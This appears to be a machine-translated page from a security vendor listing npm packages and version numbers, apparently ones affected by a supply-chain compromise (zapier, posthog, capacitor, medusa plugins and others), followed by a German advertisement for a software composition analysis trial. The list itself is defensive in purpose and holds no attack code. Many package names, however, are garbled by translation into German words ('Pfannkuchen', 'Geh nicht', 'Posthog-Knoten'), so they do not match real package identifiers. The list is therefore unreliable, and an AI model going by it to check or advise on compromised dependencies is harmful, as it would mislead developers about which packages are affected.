@zapier/browserslist-config-zapier1.0.4 , 1.0.3 , 1.0.5
@zapier/secret-scrubber1.1.5 , 1.1.4 , 1.1.3
ai-crowl-shield1.0.7
arc-cli-fc1.0.1
asyncapi-Vorschau1.0.2 , 1.0.1
atrix1.0.1
Automatisierungsmodell1.0.491
axios-builder1.2.1
axios-cancelable1.0.2 , 1.0.1
axios-getaktet1.0.2 , 1.0.1
barebones-css1.1.4 , 1.1.3
benmostyn-frame-print1.0.1
bestegpioController1.0.10
bidirektionaler Adapter1.2.2 , 1.2.4 , 1.2.5 , 1.2.3
blinqio-executions-cli1.0.41
Blob-zu-Base641.0.3
bun-plugin-httpfile0.1.1
bytecode-checker-cli1.0.11 , 1.0.8 , 1.0.9 , 1.0.10
Bytes-zu-X1.0.1
Darlehenszinsen berechnen1.0.4
capacitor-plugin-apptrackingios0.0.21
Kauf eines Kondensator-Plugins0.1.1
capacitor-plugin-scgssigninwithgoogle0.0.5
Kaufhistorie von Kondensatoren0.0.10
capacitor-voice-recorder-wav6.0.3
Chrome-Erweiterungs-Downloads0.0.3 , 0.0.4
claude-token-updater1.0.3
CoinMarketCap-API3.1.3 , 3.1.2
Farben-Regex2.0.1
Befehls-irail0.5.4
Vergleichsobjekt1.1.1 , 1.1.2
Verbundreduzierer1.0.4 , 1.0.3 , 1.0.2 , 1.0.5
Countdown1.0.2 , 1.0.1
CPU-Befehle0.0.14
create-director-app0.1.1
create-glee-app0.2.3 , 0.2.2
create-hardhat3-app1.1.4 , 1.1.3 , 1.1.1 , 1.1.2
Krypto-Adress-Codec0.1.9
css-dedoupe0.1.2
dashboard-leerer Zustand1.0.3
designstudiouiux1.0.1
devstart-cli1.0.6
dialogflow-es1.1.4 , 1.1.3 , 1.1.1 , 1.1.2
Discord-Bot-Server0.1.2
docusaurus-plugin-vanilla-extract1.0.3
Geh nicht1.1.2
dotnet-Vorlage0.0.3 , 0.0.4
drop-events-on-property-plugin0.0.2
E-Mail-Zustellbarkeitstester1.1.1
erzwingt-Branch-Name1.1.3
esbuild-plugin-brotli0.2.1
esbuild-plugin-eta0.1.1
esbuild-plugin-httpfile0.4.1
eslint-config-nitpicky4.0.1
eslint-config-trigo22.0.2
eslint-config-zeallat-base1.0.4
ethereum-ens0.8.1
evm-checkcode-cli1.0.15 , 1.0.12 , 1.0.13 , 1.0.14
exaktes Tickersymbol0.3.5
expo-audio-session0.2.1
Espressos1.1.3
dickfingrig1.0.2 , 1.0.1
Feature-Flip1.0.2 , 1.0.1
Firestore-Suchmaschine1.2.3
fittxt1.0.3 , 1.0.2
Pfannkuchen1.0.2 , 1.0.1
abflachen-aufflachen1.0.2 , 1.0.1
formik-error-focus2.0.1
formik-store1.0.1
Fuzzy-Finder1.0.5 , 1.0.6
gate-evm-check-code22.0.3 , 2.0.4 , 2.0.5 , 2.0.6
gate-evm-tools-test1.0.7 , 1.0.8 , 1.0.5 , 1.0.6
gatsby-plugin-cname1.0.2 , 1.0.1
Generator-Meteor-Bestand0.1.6
generator-ng-itobuz0.0.15
get-them-args1.3.3
github-action-for-generator2.1.28 , 2.1.27
gitsafe1.0.5
go-template0.1.8 , 0.1.9
gulp-inject-envs1.2.2 , 1.2.1
haufe-axera-api-client0.0.1 , 0.0.2
hope-mapboxdraw0.1.1
hopedraw1.0.3
Hover-Design-Prototyp0.0.5
httpness1.0.3 , 1.0.2
Hyper-Fullfacing1.0.3
Hyperterm-Hipster1.0.7
ids-css1.5.1
IDs-enterprise-mcp-Server0.0.2
IDs-enterprise-ng20.1.6
IDs-enterprise-Typisierungen20.1.6
image-to-uri1.0.2 , 1.0.1
Schlaflosigkeits-Plugin-Zufallsauswahl1.0.4
Eingang0.2.2
Iron Shield Mini-App0.0.2
ito-Schaltfläche8.0.3
itobuz-angular0.0.1
itobuz-angular-auth8.0.11
itobuz-angular-button8.0.11
Jacob Zuma1.0.2 , 1.0.1
jaetut-varit-test1.0.2
jan-Browser0.13.1
jQuery-Bindungen1.1.3 , 1.1.2
jsonsurge1.0.7
genau richtig geröstet1.7.1
Kill-Port2.0.3 , 2.0.2
korea-administrative-area-geo-json-util1.0.7
kwami1.5.9 , 1.5.10
Sprachcodes1.0.2 , 1.0.1
Lizenz-o-matic1.2.2 , 1.2.1
lint-staged-imagemin1.3.1 , 1.3.2
lite-serper-mcp-server0.2.2
luno-api1.2.3
manuelles Abrechnungssystem-Miniapp-API1.3.1
Medusa-Plugin-Ankündigung0.0.3
medusa-plugin-logs0.0.17
medusa-plugin-momo0.0.68
medusa-plugin-product-reviews-kvy0.0.4
medusa-plugin-zalopay0.0.40
mod10-Prüfziffer1.0.1
mon-package-react-typescript1.0.1
my-saeed-lib0.1.1
n8n-nodes-tmdb0.5.1
n8n-nodes-vercel-ai-sdk0.1.7
n8n-nodes-viral-app0.2.5
nanoreset7.0.2 , 7.0.1
nächste zirkuläre Abhängigkeit1.0.3 , 1.0.2
next-simple-google-analytics1.1.1 , 1.1.2
next-styled-nprogress1.0.4 , 1.0.5
ngx-useful-swiper-prosenjit9.0.2
ngx-wooapi12.0.1
normaler Laden1.3.1 , 1.3.4 , 1.3.3 , 1.3.2
obj-to-css1.0.3 , 1.0.2
okta-react-router-65.0.1
open2internet0.1.1
Orbit-Box-Icons2.1.3
Orbit-Nebel-Zeichenwerkzeuge1.0.10
Orbit-Nebel-Editor1.0.2
Orbit-Seife0.43.13
Orchester12.1.2
Pakettester1.0.1
Parcel-Plugin-Asset-Copier1.1.3 , 1.1.2
PDF-Anmerkungen0.0.2
Piclite1.0.1
pico-uid1.0.4 , 1.0.3
pkg-readme1.1.1
poper-react-sdk0.1.2
posthog-docusaurus2.0.6
posthog-js1.297.3
Posthog-Knoten4.18.1 , 5.13.3 , 5.11.3
posthog-plugin-hello-world1.0.1
posthog-react-native4.11.1 , 4.12.5
posthog-react-native-session-replay1.2.2
prime-one-table0.0.19
prompt-eng1.0.50
puny-req1.0.3
ra-auth-firebase1.0.3
ra-data-firebase1.0.8 , 1.0.7
react-component-taggers0.1.9
react-data-to-export1.0.1
react-element-prompt-inspector0.1.18
react-favic1.0.2
react-hook-form-persist3.0.2 , 3.0.1
react-jam-icons1.0.2 , 1.0.1
react-keycloak-context1.0.8 , 1.0.9
react-library-setup0.0.6
React-Linear-Loader1.0.2
react-micromodal.js1.0.2 , 1.0.1
react-native-datepicker-modal1.3.1 , 1.3.2
react-native-email2.1.1 , 2.1.2
react-native-fetch2.0.1 , 2.0.2
react-native-get-pixel-dimensions1.0.2 , 1.0.1
react-native-google-maps-directions2.1.2
react-native-jam-icons1.0.2 , 1.0.1
react-native-log-level1.2.2 , 1.2.1
react-native-modest-checkbox3.3.1
react-native-modest-storage2.1.1
react-native-phone-call1.2.2 , 1.2.1
react-native-retriable-fetch2.0.1 , 2.0.2
react-native-use-modal1.0.3
react-native-view-finder1.2.2 , 1.2.1
react-native-websocket1.0.4 , 1.0.3
react-native-worklet-functions3.3.3
react-qr-image1.1.1
rediff1.0.5
rediff-viewer0.0.7
redux-router-kit1.2.2 , 1.2.4 , 1.2.3
rollup-plugin-httpfile0.2.1
sa-company-registration-number-regex1.0.2 , 1.0.1
sa-id-gen1.0.4 , 1.0.5
dasselbe1.0.3
scgs-capacitor-subscribe1.0.11
scgsffcreator1.0.5
set-nested-prop2.0.1 , 2.0.2
Shelf-JWT-Sitzungen0.1.2
shell-exec1.1.4 , 1.1.3
shinhan-limit-scrap1.0.3
Fähigkeiten-Nutzung0.1.2 , 0.1.1
Solomon-API-Geschichten1.0.2
Solomon-V3-Geschichten1.15.6
solomon-v3-ui-wrapper1.6.1
nach Entfernung sortieren2.0.1
südafrikanische ID-Informationen1.0.2
stat-fns1.0.1
stören2.3.2
super-commit1.0.1
svelte-autocomplete-select1.1.1
schlank-gewärmt1.1.3 , 1.1.2
tanstack-shadcn-table1.1.5
tcsp2.0.2
tcsp-draw-test1.0.5
tcsp-test-vd2.4.4
template-lib1.1.4 , 1.1.3
template-microservice1.0.3 , 1.0.2
hartnäckiges Holen2.3.3 , 2.3.2
test-foundry-app1.0.4 , 1.0.3 , 1.0.2 , 1.0.1
test-hardhat-app1.0.4 , 1.0.3 , 1.0.2 , 1.0.1
test23112222-api1.0.1
Tiaan1.0.2
token.js-Fork0.7.32
trigo-react-app4.1.2
Typ Zaun1.2.2 , 1.2.3
typeorm-orbit0.2.27
undefsafe-typed1.0.4 , 1.0.3
Uplandui0.5.4
in den Play Store hochladen1.0.2 , 1.0.1
URL-Kodierung-Dekodierung1.0.2 , 1.0.1
nicht gespeicherte Änderungen verwenden1.0.9
gültige südafrikanische ID1.0.3
vf-oss-template1.0.4 , 1.0.3 , 1.0.2 , 1.0.1
vite-plugin-httpfile0.2.1
vue-browserupdate-nuxt1.0.5
web-scraper-mcp1.1.4
web-types-htmx0.1.1
web-types-lit0.1.1
webpack-loader-httpfile0.2.1
Wellness-Experten-ng-Galerie5.1.1
wenk1.0.9 , 1.0.10
zapier-async-storage1.0.3 , 1.0.2 , 1.0.1
zapier-platform-cli18.0.4 , 18.0.3 , 18.0.2
zapier-platform-core18.0.4 , 18.0.3 , 18.0.2
Zapier-Plattform-Schema18.0.4 , 18.0.3 , 18.0.2
zapier-scripts7.8.3 , 7.8.4
zuper-cli1.0.1
zuper-sdk1.0.57
zuper-stream2.0.9
SCA-Tools-Software-Zusammensetzungs-Analyse-Tools
Priorisieren, beheben und sichern Sie Ihre Softwarerisiken
7-Tage kostenlose Testversion
Keine Kreditkarte erforderlich

Sichern Sie Ihre Softwareentwicklung und -bereitstellung

mit der Xygeni-Produktsuite